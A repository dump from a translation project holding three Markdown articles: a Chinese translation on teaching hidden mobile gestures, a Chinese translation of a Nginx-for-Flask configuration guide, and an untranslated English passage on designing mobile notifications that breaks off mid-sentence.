    "content": "> * 原文地址：[How To Communicate Hidden Gestures in Mobile App](https://uxplanet.org/how-to-communicate-hidden-gestures-in-mobile-app-e55397f4006b#.po5wdv20m)\n* 原文作者：[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015/)\n* 校对者：[Tina92](https://github.com/Tina92) , [marcmoore](https://github.com/marcmoore)\n\n# 如何让用户发掘移动应用中的“隐藏”手势 #\n\n我们将与应用进行交互的手指活动称为手势。可触摸界面为我们使用诸如点击、滑动、捏合等自然手势来控制应用提供了可能。但与图形控制界面相比，这些控制手势往往难以被用户感知，也就是说，如果用户不是事先就知道可以用特定的手势进行操控，他们是不会去刻意尝试（使用手势）的。\n\n如何帮助用户发掘这些隐藏的手势呢？幸运的是，当下已经有几种可视交互设计技巧供我们选择，来让这些手势浮出水面了。\n\n### 启动应用时展示教程和演示 ###\n\n许多手势驱动的应用偏向于利用教程和演示来指导用户使用。这通常意味着你会展示一些指令指南，来解释应用界面的操作规则。但是，通过界面教程来解释应用的核心功能并不是最优雅的方法。该方法有以下两个缺点：\n\n- 如果你必须要为你的应用提供配套的指令说明，那就说明你没有为用户提供一个友好的体验，因为你不能期望每个用户都会在使用应用之前阅读说明。\n\n- 另一个问题则是，用户必须在开始使用应用之前，记住所有他们才刚刚了解到的操控方法。\n\n打个比方，Clear 应用启动时会强制展示 7 页长的使用指南，而用户必须仔细地阅读所有信息，并尽量的记住它们。这其实是非常糟糕的设计，因为用户必须在体验应用之前做许多准备工作。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*GPB-VY6vVkRPtU1t.png\">\n\n**Clear 应用中的教程**\n\n避免一次性展示包含多个步骤的演示，试着在对应的会话上下文中再进行指导（当用户实际使用该功能时）。通过多次小的演示，教程其实可以变成一段渐进式的探索之旅：\n\n> 将关注点放在一次特定的交互上，而不是试着将所有可能用到的指令全都呈现在界面上。\n\n就拿 YouTube 应用安卓端的手势教程界面为例：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*jit4P5QZ3GGKTjtc.png\">\n\nYouTube 安卓客户端\n\n该应用同样是基于手势交互的，但它没有以教程形式向用户展示指令。相反，它仅在新用户首次进入应用的某些界面时，展示与该界面相关的使用提示。\n\n### 如何在上下文中指导用户 ###\n\n在上下文中对用户进行指导的技巧，是为了帮助用户掌握那些他们从未使用过的操作方式来与界面元素交互。这项技巧通常包括 **小巧的界面提示** 以及 **简短的动画示意** 。\n\n#### 纯文本指令 ####\n\n这项技巧基于文本指令来提示用户进行某种手势操作，并精简的描述该操作所起到的作用。\n\n**小贴士：**尽可能缩短指令文字长度 - 文字越精简，用户就越可能仔细地读完并根据指令完成操作。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*jZyn5K8phjbxoFiZNYKZ6A.gif\">\n\n图片源于:Material Design\n\n#### 动态提示（Hint Motion）####\n\n动态提示（或者说界面提示动画）为元素交互动作的方式和结果提供了预览。举个例子， Pudding Monsters 的游戏机制是完全基于手势的，但它却能让用户较为准确地猜测到交互的方式。动画诠释了功能信息 - 展示一个带有动画的场景，用户便能清楚的知道该怎么做了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*mtNyp2a4Ovg2usopA6cOfw.gif\">\n\n动态提示为元素的操控提供了预览。图片来源：Pudding Monsters\n\n#### 内容梳理（Content Teases） ####\n\n内容梳理属于简单视觉线索（subtle visual clues）的一种，用于表明操作的可能性。下面的例子展示了如何对卡片视图进行内容梳理 - 它简单地在当前卡片下展示了其它的卡片，以此来说明此处可以使用滑动操作。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*YjZGGyu1OLaddxQ-b-NKXg.gif\">\n\n展览式的导航功能。 图片来源：[Barthelemy Chalvet](https://dribbble.com/BarthelemyChalvet)\n\n### 总结 ###\n\n归根结底，没有一个万能的方法，能够满足所有在移动应用或是 web app 中指导用户使用手势的需求。但当涉及到指导用户如何使用界面时，我建议你尽量在相应上下文中使用弹性内容来显示指南，[渐进式地展示信息](https://uxplanet.org/design-patterns-progressive-disclosure-for-mobile-apps-f41001a293ba#.p5aq5o4f2) 并配合简短的动画。教程和演示是迫不得已时才考虑的手段。\n\n感谢阅读！\n"
  },
  {
    "path": "TODO/how-to-configure-nginx-for-a-flask-web-application.md",
    "content": "> * 原文地址：[How to Configure NGINX for a Flask Web Application](http://www.patricksoftwareblog.com/how-to-configure-nginx-for-a-flask-web-application/)\n> * 原文作者：[patricksoftware](http://www.patricksoftwareblog.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-configure-nginx-for-a-flask-web-application.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-configure-nginx-for-a-flask-web-application.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[GanymedeNil](https://github.com/GanymedeNil)\n\n# 如何为 Flask Web 应用配置 Nginx\n\n### **简介**\n\n在本文中，我将介绍什么是 [Nginx](https://www.nginx.com/) 以及如何为 Flask Web 应用配置 Nginx。本文是[《部署 Flask 应用》](http://www.patricksoftwareblog.com/all-posts/)系列文章的一部分。我曾找到过多份关于 Nginx 及其配置的文章，但我希望能更深入其细节，了解如何使用 Nginx 为 Flask Web 应用服务以及如何为此进行配置。Nginx 的配置文件有点让人困惑，因为大多数的文档仅仅是简单罗列了一个配置文件，而没有对配置中每一步做了什么进行任何解释。希望本文能让你清晰地理解如何为你的应用配置 Nginx。\n\n### **什么是 Nginx？**\n\n在 Nginx（发音为“engine-X”）的官网中，有着这个工具的概要描述：\n\nNginx 是一款免费、开源、高性能的 HTTP 服务器以及反向代理，同时也可以作为 IMAP/POP3 代理服务器。Nginx 以其高性能、稳定性、丰富的功能、简单的配置、低资源消耗而闻名。\n\n我们可以拓展理解此说明…… Nginx 是一个可以为你的 Web 应用处理 [HTTP](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol) 请求的服务器。对于典型的 Web 应用，Nginx 可以配置为 HTTP 请求进行以下操作：\n\n* 将请求 [反向代理](https://en.wikipedia.org/wiki/Reverse_proxy) 至上游服务器（例如 Gunicorn、uWsgi、Apache 等）。\n* 为静态资源（Javascript 文件、CSS 文件、图像、文档、静态 HTML 文件）提供服务。\n\n同时 Nginx 也提供了[负载均衡](http://nginx.org/en/docs/http/load_balancing.html)功能，可以让多个上游服务器为请求提供服务，不过在本文中暂不讨论此功能。\n\n下图为描述 Nginx 如何为 Flask Web 应用提供服务的简图：\n\n[![生产环境中的 Nginx](http://www.patricksoftwareblog.com/wp-content/uploads/2016/09/NGINX-in-Production-Environment.png)](http://www.patricksoftwareblog.com/wp-content/uploads/2016/09/NGINX-in-Production-Environment.png)\n\nNginx 会处理来自因特网（比如来自你应用的用户）的 Http 请求。根据你对 Nginx 的配置，它可以直接提供并向请求源返回静态内容（Javascript 文件、CSS 文件、图像、文档、静态 HTML 文件）。此外，它也能将请求反向代理至 WSGI（[Web Server Gateway Interface](https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface)）以让你在 Flask Web 应用中生成动态内容（HTML）并返回给用户。\n\n上面的示意图假定用户使用了 Docker，但不使用 Docker 时 Nginx 的配置也与此十分相似（仅仅省略了图中容器的概念）。\n\n### 为什么你需要 Nginx 与 Gunicorn？\n\nNginx 作为一个 HTTP 服务器，在许多应用中都被使用：[列表](https://www.nginx.com/resources/wiki/start/#pre-canned-configurations)。它提供了许多的功能，但无法直接为 Flask 应用提供服务。而 [Gunicorn](http://gunicorn.org/) 可以做到这一点。Nginx 收到 HTTP 请求，并将其传递给 Gunicorn 交由你的 Flask 应用进行处理（比如你在 view.py 中定义的路由）。Gunicorn 是一个 WSGI 服务器，可以处理 HTTP 请求，并将它们通过路由交给任何支持 WSGI 的 python 应用处理（比如 Flask、Django、Pyramid 等）。\n\n### **Nginx 配置文件的结构**\n\n注意：本文应用的是 Nginx v1.11.3，配置文件所在的位置根据你 Nginx 版本的不同会有所变化，比如 /opt/nginx/conf/。\n\n根据你安装、使用 Nginx 方式的不同，配置文件的结构会略有不同。大多数的配置结构如下所示：\n\n#### 结构 1\n\n如果你使用的是从源代码编译得到的 Nginx 或者官方的 Docker 镜像，那么配置文件在 /etc/nginx/ 中，主配置文件为 /etc/nginx/nginx.conf。在 /etc/nginx/nginx.conf 的最下面的一行会将位于 /etc/nginx/conf.d/ 目录下的其余配置文件内容载入配置中：\n\n* include /etc/nginx/conf.d/*.conf;\n\n#### 结构 2\n\n如果你是通过包管理器（比如 Ubuntu 的 apt-get）安装的 Nginx，那么你的 /etc/nginx/ 下会有下面两个子目录：\n\n* sites-available – 包含为多个网站准备的多个配置文件。\n* sites-enabled – 包含一个指向 sites-available 目录中配置文件的软链接。\n\n这两个目录继承于 Apache，将应用于 Nginx 的配置。\n\n由于我的 Flask 应用使用的是 Docker 部署，因此在本文将主要关注上面的结构 1。\n\n### **Nginx 的配置**\n\nNginx 的顶层配置文件是 nginx.conf。Nginx 接受多层级的配置文件，这也使得用户可以针对自己的应用进行弹性的配置。如需了解配置文件中各参数的详细信息，可以参阅 [Nginx 官方文档](http://nginx.org/en/docs/ngx_core_module.html)。\n\n在 Nginx 中，由配置块（block）来组织各个配置参数。以下为在本文中我们将提到的配置块：\n\n* Main – 定义于 nginx.conf（所有不属于配置块的参数均属 Main 块）\n* Events – 定义于 nginx.conf\n* Http – 定义于 nginx.conf\n* Server – 定义于 _application_name_.conf\n\n将这些配置块拆分至不同的文件，可以让你在 nginx.conf 中定义 Nginx 的高级别配置，在其它的 *.conf 文件中为你的应用定义虚拟主机或服务器的参数。\n\n#### nginx.conf 详细说明\n\n安装 Nginx 时自带的默认 nginx.conf 文件可以适用于大多数服务器的初步配置。让我们仔细探查 nginx.conf 的内容，并思考如何拓展这里的默认设置。\n\n##### Main 部分\n\nnginx.conf 的 main 配置块（即那些不在配置块中的参数）为：\n\n```\nuser  nginx;\nworker_processes  1;\n\nerror_log  /var/log/nginx/error.log warn;\npid        /var/run/nginx.pid;\n```\n\n第一个参数（[user](http://nginx.org/en/docs/ngx_core_module.html#user)）将定义 Nginx 服务器的拥有者以及运行用户。当 Nginx 通过 Docker 容器运行时，使用默认值就够了。\n\n第二个参数（[worker_processes](http://nginx.org/en/docs/ngx_core_module.html#worker_processes)）定义了 worker processes（工作进程）的数量。此参数推荐的默认值为当前服务器使用内核的数量。对于基础的虚拟私有服务器（VPS）来说，默认值 1 就是个不错的选择。当你拓展 VPS 性能时可以增加这个数字。\n\n第三个参数（[error_log](http://nginx.org/en/docs/ngx_core_module.html#error_log)）定义了错误日志在文件系统中存放的位置，并能额外定义一个参数来规定需要记录日志的最小错误等级。这个参数使用默认值即可。\n\n第四个参数（[pid](http://nginx.org/en/docs/ngx_core_module.html#pid)）定义了用于存储 Nginx 主进程 pid 的文件位置。这个参数使用默认值即可。\n\n#### events 配置块\n\nevents 配置块定义了一些会影响连接处理的参数。它也是 Nginx.conf 文件中第一个配置块：\n\n```\nevents {\n    worker_connections  1024;\n}\n```\n\n在这个配置块中仅有一个单独的参数（[worker_connections](http://nginx.org/en/docs/ngx_core_module.html#worker_connections)），定义了工作进程可以打开的最大并发连接数。默认值定义了总共可用 1024 个连接，无需更改（但你需要计算用户请求站点及请求 WSGI 服务器的连接数）。\n\n#### http 配置块\n\nhttp 配置块定义了一些关于 Nginx 如何处理 HTTP Web 流量的参数。它是 nginx.conf 文件中第二个配置块：\n\n```\nhttp {\n    include       /etc/nginx/mime.types;\n    default_type  application/octet-stream;\n\n    log_format  main  '$remote_addr - $remote_user [$time_local] \"$request\" '\n                      '$status $body_bytes_sent \"$http_referer\" '\n                      '\"$http_user_agent\" \"$http_x_forwarded_for\"';\n\n    access_log  /var/log/nginx/access.log  main;\n\n    sendfile        on;\n    #tcp_nopush     on;\n\n    keepalive_timeout  65;\n\n    #gzip  on;\n\n    include /etc/nginx/conf.d/*.conf;\n}\n```\n\n第一个参数（[include](http://nginx.org/en/docs/ngx_core_module.html#include)）指定了需要引入的配置文件，在此引入的是位于 /etc/nginx/ 的 mime.types 文件，这个文件定义了各种 Nginx 支持的文件类型。此参数应该保持默认值。\n\n第二个参数（[default_type](http://nginx.org/en/docs/http/ngx_http_core_module.html#default_type)）指定了默认给用户返回的文件类型。对于 Flask 应用来说，返回的是动态生成的 HTML 文件，因此这个参数应改为 `default_type text/html`;\n\n第三个参数（[log_format](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)）指定了日志的格式，应当保持默认值。\n\n第四个参数（[access_log](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)）指定了 Nginx 日志的访问位置，应当保持默认值。\n\n第五个参数（[send_file](http://nginx.org/en/docs/http/ngx_http_core_module.html#sendfile)）以及第六个参数（[tcp_nopush](http://nginx.org/en/docs/http/ngx_http_core_module.html#tcp_nopush)）稍微有点复杂。可以参阅[《优化 Nginx》](https://t37.net/nginx-optimization-understanding-sendfile-tcp_nodelay-and-tcp_nopush.html)一文来了解这些参数（包括 [tcp_nodelay](http://nginx.org/en/docs/http/ngx_http_core_module.html#tcp_nodelay)）的详细情况。由于我们打算用 Nginx 来传递静态内容，因此可以这么设置这些参数：\n\n```\n    sendfile        on;\n    tcp_nopush     on;\n    tcp_nodelay    on;\n```\n\n第七个参数（[keepalive_timeout](http://nginx.org/en/docs/http/ngx_http_core_module.html#keepalive_timeout)）定义了与客户端保持连接的超时时长，应当保持默认值。\n\n第八个参数（[gzip](http://nginx.org/en/docs/http/ngx_http_gzip_module.html)）定义了 gzip 压缩算法的使用方法，以减少传输数据量。虽然数据量减少了，但也因此增加平台在压缩过程中的性能消耗，好处两两抵消，因此保持它的默认值（off）。\n\n第九个，也是最后一个参数（[include](http://nginx.org/en/docs/ngx_core_module.html#include)）定义了位于 /etc/nginx/conf.d/ 下后缀名为 .conf 的其它配置文件。现在我们将使用这些配置文件定义静态内容服务器以及 WSGI 服务器的反向代理。\n\n#### nginx.conf 的最终配置\n\n在 nginx.conf 默认设置之上，我们需要根据需要调整一些参数（并加上注释），下面为最终版本的 nginx.conf：\n\n```\n# Define the user that will own and run the Nginx server\nuser  nginx;\n# Define the number of worker processes; recommended value is the number of\n# cores that are being used by your server\nworker_processes  1;\n\n# Define the location on the file system of the error log, plus the minimum\n# severity to log messages for\nerror_log  /var/log/nginx/error.log warn;\n# Define the file that will store the process ID of the main NGINX process\npid        /var/run/nginx.pid;\n\n# events block defines the parameters that affect connection processing.\nevents {\n   # Define the maximum number of simultaneous connections that can be opened by a worker process\n   worker_connections  1024;\n}\n\n# http block defines the parameters for how NGINX should handle HTTP web traffic\nhttp {\n   # Include the file defining the list of file types that are supported by NGINX\n   include       /etc/nginx/mime.types;\n   # Define the default file type that is returned to the user\n   default_type  text/html;\n\n   # Define the format of log messages.\n   log_format  main  '$remote_addr - $remote_user [$time_local] \"$request\" '\n                     '$status $body_bytes_sent \"$http_referer\" '\n                     '\"$http_user_agent\" \"$http_x_forwarded_for\"';\n\n   # Define the location of the log of access attempts to NGINX\n   access_log  /var/log/nginx/access.log  main;\n\n   # Define the parameters to optimize the delivery of static content\n   sendfile        on;\n   tcp_nopush     on;\n   tcp_nodelay    on;\n\n   # Define the timeout value for keep-alive connections with the client\n   keepalive_timeout  65;\n\n   # Define the usage of the gzip compression algorithm to reduce the amount of data to transmit\n   #gzip  on;\n\n   # Include additional parameters for virtual host(s)/server(s)\n   include /etc/nginx/conf.d/*.conf;\n}\n```\n\n##### 为静态内容部署及反向代理配置 Nginx\n\n如果你查看默认的 /etc/nginx/conf.g/default.conf，可以看到它提供了一个简单的服务器配置块，并给了许多取消注释即可使用的可选配置。我们不会挨个去研究这个文件中的配置，而是直接探讨对于我们部署静态内容以及 WSGI 反向代理有用的关键参数。以下是推荐的 _application_name_.conf 配置：\n\n```\n# Define the parameters for a specific virtual host/server\nserver {\n   # Define the directory where the contents being requested are stored\n   # root /usr/src/app/project/;\n\n   # Define the default page that will be served If no page was requested\n   # (ie. if www.kennedyfamilyrecipes.com is requested)\n   # index index.html;\n\n   # Define the server name, IP address, and/or port of the server\n   listen 80;\n   # server_name xxx.yyy.zzz.aaa\n\n   # Define the specified charset to the “Content-Type” response header field\n   charset utf-8;\n\n   # Configure NGINX to deliver static content from the specified folder\n   location /static {\n       alias /usr/src/app/project/static;\n   }\n\n   # Configure NGINX to reverse proxy HTTP requests to the upstream server (Gunicorn (WSGI server))\n   location / {\n       # Define the location of the proxy server to send the request to\n       proxy_pass http://web:8000;\n\n       # Redefine the header fields that NGINX sends to the upstream server\n       proxy_set_header Host $host;\n       proxy_set_header X-Real-IP $remote_addr;\n       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n\n       # Define the maximum file size on file uploads\n       client_max_body_size 5M;\n   }\n}\n```\n\n服务器配置块为特定的虚拟主机或服务器定义了参数。通常为你在 VPS 上部署的单个 Web 应用。\n\n第一个参数（[root](http://nginx.org/en/docs/http/ngx_http_core_module.html#root)）定义了被请求的内容所存储的位置。当 Nginx 收到用户请求时，它便会在此目录中查找。由于在默认的”/“路径中定义过了，因此可以注释掉这个不必要的参数。\n\n第二个参数（[index](http://nginx.org/en/docs/http/ngx_http_index_module.html)）定义了在请求未指定页面时（比如访问 www.kennedyfamilyrecipes.com）所得到的默认页面。由于我们使用的是 Flask Web 应用生成的动态内容，因此需要注释掉这个参数。\n\n前两个参数（root 和 index）都包含在此配置文件中，在一些情况下可以用于 Nginx 的配置。\n\n第三个参数（[server_name](http://nginx.org/en/docs/http/ngx_http_core_module.html#server_name)）和第四个参数（[listen](http://nginx.org/en/docs/http/ngx_http_core_module.html#listen)）需要一同使用。如果你的 Web 应用程序已经部署好了，那么你需要设置这些参数为：（注，端口默认为 80，此时不需要填）\n\n```\nserver {\n   …\n   Listen 192.241.229.181;\n   …\n}\n```\n\n如果你除了 www.kennedyfamilyrecipes.com 之外还要部署另一个 Flask 应用 blog.kennedyfamilyrecipes.com，那么你需要将”server“配置块拆开，分别配置”user_name“和”listen“：\n\n```\nserver {\n    listen 80;\n    server_name *.kennedyfamilyrecipes.com;\n\n    . . .\n\n}\n\nserver {\n    listen 80;\n    server_name blog.kennedyfamilyrecipes.com;\n\n    . . .\n\n}\n```\n\nNginx 将选择最匹配请求的”server_name“。也就是说对”blog.kennedyfamilyrecipes.com“的请求会优先匹配”blog.kennedyfamilyrecipes.com“而不是”*.kennedyfamilyrecipes.com“。\n\n第五个参数（[charset](http://nginx.org/en/docs/http/ngx_http_charset_module.html)）定义了响应头”Content-Type“的字符集值，应当设置为”utf-8“。\n\n第一个”location“配置块定义了 Nginx 需要递送位于以下位置的静态内容：\n\n```\n  location /static {\n       alias /usr/src/app/project/static;\n   }\n```\n\n[location](http://nginx.org/en/docs/http/ngx_http_core_module.html#location) 配置块定义了如何处理请求的 URI（域名或 IP、端口号之后的部分）。在这第一个 location 配置块（/static）中，我们定义了 Nginx 将会处理来自 www.kennedyfamilyrecipes.com/static/ 的请求，检索位于 /usr/src/app/project/static 目录下的文件。例如，请求 www.kennedyfamilyrecipes.com/static/img/img_1203.jpg 将会返回位于 /usr/src/app/project/static/img/img_1203.jpg 的图片文件。如果文件不存在，则向用户返回 404 错误码（NOT FOUND）。\n\n第二个 location 配置块（\"/\"）定义反向代理。这个 location 配置块会定义 Nginx 如何将请求传递给 我们的 Flask 应用接口所在的 WSGI（Gunicorn）服务器。仔细看看其中的每个参数：\n\n```\n   location / {\n       proxy_pass http://web:8000;\n       proxy_set_header Host $host;\nproxy_set_header X-Forwarded-Proto $scheme;\n       proxy_set_header X-Real-IP $remote_addr;\n       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n       client_max_body_size 5M;\n   }\n```\n\n第一个参数（[proxy_pass](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass)）定义了接收转发请求的代理服务器的位置。如果你想将请求转发至本机的服务器时可以使用：\n\n```\nproxy_pass http://localhost:8000/;\n```\n\n如果你希望将请求转发给指定的 Unix socket 时（比如和 Nginx 运行在同一台机器中的 Gunicorn 服务器），可以使用：\n\n```\nproxy_pass http://unix:/tmp/backend.socket:/\n```\n\n如果你使用 Docker 容器运行的 Nginx，希望与容器中的 Gunicorn 进行通信，那么可以直接使用运行 Gunicorn 的容器名称：\n\n```\nproxy_pass http://web:8000;\n```\n\n第二个参数（[proxy_pass_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass_header)）可以让你重新定义发往上游服务器（比如 Gunicorn）的请求的头部。这个参数可以进行以下四次设置：\n\n* Nginx 服务器的名称及端口（Host $host）\n* 原始客户端请求的模式（比如是 http 请求还是 https 请求）（X-Forwarded-Proto $scheme）\n* 用户的 IP 地址（X-Real-IP $remote_addr）\n* 至当前节点位置，客户端经过的所有代理的 IP 地址（X-Forwarded-For $proxy_add_x_forwarded_for）\n\n第三个参数（[client_max_body_size](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)）定义了文件上传允许的最大大小，对于需要上传文件的 Web 应用来说非常重要。由于图像大小一般在 2 MB 内，因此在这儿设置 5 MB 基本上可以满足任何图像。\n\n### **总结**\n\n本文介绍了什么是 Nginx 服务器，以及如何为一个 Flask 应用对其进行配置。Nginx 是大多数 Web 应用的关键组件，它为用户提供静态内容、反向代理请求至上游服务器（在我们的 Flask Web 应用中是 WSGI），以及负载均衡（本文未提及）。希望看完本文后你能更轻松地理解 Nginx 的配置！\n\n### **引用资料**\n\n[How to Configure NGINX (Linode)](https://www.linode.com/docs/websites/nginx/how-to-configure-nginx)\n\n[NGINX Wiki](https://www.nginx.com/resources/wiki/)\n\n[NGINX Pitfalls and Common Mistakes](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/)\n\n[How to Configure the NGINX Web Server on a VPS (DigitalOcean)](https://www.digitalocean.com/community/tutorials/how-to-configure-the-nginx-web-server-on-a-virtual-private-server)\n\n[Understanding NGINX Server and Location Block Selection Algorithms (DigitalOcean)](https://www.digitalocean.com/community/tutorials/understanding-nginx-server-and-location-block-selection-algorithms)\n\n[NGINX Optimization: Understanding sendfile, tcp_nodelay, and tcp_nopush](https://t37.net/nginx-optimization-understanding-sendfile-tcp_nodelay-and-tcp_nopush.html)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/how-to-craft-mobile-notifications-that-users-actually-want.md",
    "content": ">* 原文链接 : [Mobile UX Design: What Makes a Good Notification?](https://uxplanet.org/how-to-craft-mobile-notifications-that-users-actually-want-7b585e0e1fa1#.z4z05lc5u)\n* 原文作者 : [Nick Babich](https://medium.com/@101)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者:\n\n\nHave you ever paid attention to the number of notifications and alert messages you receive on a daily basis from various apps? How many of those notifications _do you actually care about_?\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*zq6d8Sl7qnBAh8B8YPpZng.jpeg)\n\n<figcaption>Meaningless notification on smart watch screen.</figcaption>\n\nEveryday, users are bombarded with useless notifications that distract them from their day-to-day activities and it gets downright annoying. **Annoying notifications is the #1 reason people uninstall mobile apps (71% of respondents).**\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*tRV8bhwepMNc7lsEyleZAg.png)\n\nDesigning notifications to be useful and relevant for your users is extremely important. Because they can be powerful tools for businesses to communicate directly with users and deliver the right message at the right time and place in order to _promote engagement_.\n\nLet’s see how to turn this anti-UX pattern into something meaningful and valuable both for your product and for your user.\n\n### Key Elements of User-Friendly Notifications\n\nNotifications are a _privilege_ because users place trust in you by allowing you to send messages directly to them, and you mustn’t abuse that privilege. And user-centric notifications are the building blocks of any great mobile marketing strategy, but creating the perfect notification isn’t as simple as it may seem.\n\nHere are _five moments_ _to remember_ when crafting a user-centric notifications.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*jOuOujLnxkx30IBo3q_Ejw.jpeg)\n\nThe most common mistake, and the most damaging from a long-term point of view, that you can make while sending push notifications is _sending your users more notifications than they can handle_. Too many direct conversations with users may lead to “notification overkill” and may result in users either tuning out mentally or opting-out altogether.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*YIsFJcFM7pQZDGgD_2X0rg.png)\n\n<figcaption>All push notification arrived at the same moment.</figcaption>\n\n**Takeaway:** You need to understand your audience, their lifestyles and their needs and _figure out the frequency_ of notifications that you will send out.\n\n### 2\\. Push the Value\n\nWhen user start using your app she don’t mind getting notifications as long as they carry enough “_value-for-interruption_,” meaning they are _useful_ and _interesting_ enough to her. _Personalized content_ that inspires and delights is a critical component.\n\n**Bad Example:** Some notifications shouldn’t ever make it to a user’s screen. AppStore software update notification most probably was designed to follow the usability heuristic “[Visibility of system status](https://uxplanet.org/golden-rules-of-user-interface-design-19282aeb06b),” but does the user really need to see it? If the notification doesn’t require any action for the user, then maybe it’s not that important.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*GO0mnyRoW-3ZEVvFnuf0Aw.jpeg)\n\n<figcaption>Apple AppStore notifcation. Should I really be notified about that?</figcaption>\n\n**Bad Example:** Facebook app routinely sends users notifications to connect to randomly suggested people or to “Find more of your friends of Facebook.” This is a poor attempt to direct users back into the app. Also it interrupts users with irrelevant alerts.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*fKWoWYBuhoQ0EhqWiom3AQ.png)\n\n<figcaption>Facebook app for Android.</figcaption>\n\n**Good Example:** Netflix does a great job of personalizing their push notifications. Netflix uses push notifications to let users know when their favorite shows are available.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*OjWmPLfdatdwh7dpMlwiVw.png)\n\n<figcaption>Netflix app for iOS</figcaption>\n\nRather than sending every user a notification every time any new show or season is released, Netflix understands the specific shows that each user has been watching, and only sends a notification to a user when one of their favorite shows has a new season available. The result: app alerting users to _personalized_ and _relevant information._\n\n**Takeaway:**\n\n*   Don’t send out notifications just because you can. Don’t include notifications just to lure users into using your app.\n*   Keep the message clear and understandable. No matter what the content of the notification is, make sure it speaks the same language as your users, literally and figuratively.\n*   Users, regardless of frequency, appreciate content that is directly related to their personal interests.\n\n### 3\\. Time Your Notification\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*ZvGqAroMPDx5kxh3713C5g.png)\n\nTailoring your notifications to your users isn’t just about what you say, it’s about _when you say it_. Do you like to be woken up in the middle of the night by a vibrating cell phone, flashy screen and a push message saying you have a $15 discount on your next purchase if you invite a friend?\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*_Aeiw7oss9IHK8dkhpajsA.png)\n\n<figcaption>“Push gone wrong” tweet.</figcaption>\n\nNow of course, users can always turn on the settings on their device to DND, but that’s not a solution. A real solution would be sending a notification out at a reasonable time that would be most effective to your users, _unless it’s critical to inform them of something happening right now_. In general, _mobile usage peaks betweek 6pm — 10pm_.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*ZrX3QYmAnnqB6A1iEwa-BQ.png)\n\n<figcaption>Research source: [comScore](http://www.comscore.com)</figcaption>\n\n**Takeaways:**\n\n*   Don’t send push notifications at weird hours (an ill-timed notification sent between 12 and 6 am risks waking up or disrupting user).\n*   Always send push notifications to users in _their local timezone_.\n*   Tailor message time to each user. Pay attention to where your users arein their day, and schedule appropriately. Automate message delivery to the user’s preferred time to engage with your app.\n\n### 4\\. Test Rigorously\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*IY-EtpLW1icld5MeCQznQA.png)\n\nHow do you make a great push notification even better? Test it! A/B testing can be valid in push notifications. But unlike an A/B test of a change in the design of your site, testing messaging notification requires _speed_ and _determination_.\n\nInteresting practical example from [Adam Marchick](https://twitter.com/adammStanford?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor): Approaching Valentine’s Day, 1–800-Flowers [prepared](https://segment.com/blog/push-notifications-users-want-kahuna/) to A/B test two very different messages. They tested up two versions of one message to a small sample of users who had added an item to their shopping carts but had not completed their purchases. First message was a simple reminder:\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*lD7A2etv0pG_bvxSx72rsg.png)\n\n<figcaption>iOS Push Notification: Forget Something? Come back and send a truly original gift.</figcaption>\n\nBut second one variant included a 15% off promotion code.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*QhqKA7mkLumHLPgK4rA0uQ.jpeg)\n\n<figcaption>iOS Push Notification: Forget Something? Come back and SAVE 15% with Promo Code.</figcaption>\n\nContrary to what was expected, _the message that performed best was a first variant_ — the variant that did not include a promotion code. In fact, the message without the promotion code generated 50 percent more revenue and resulted in fewer app uninstalls than the variant 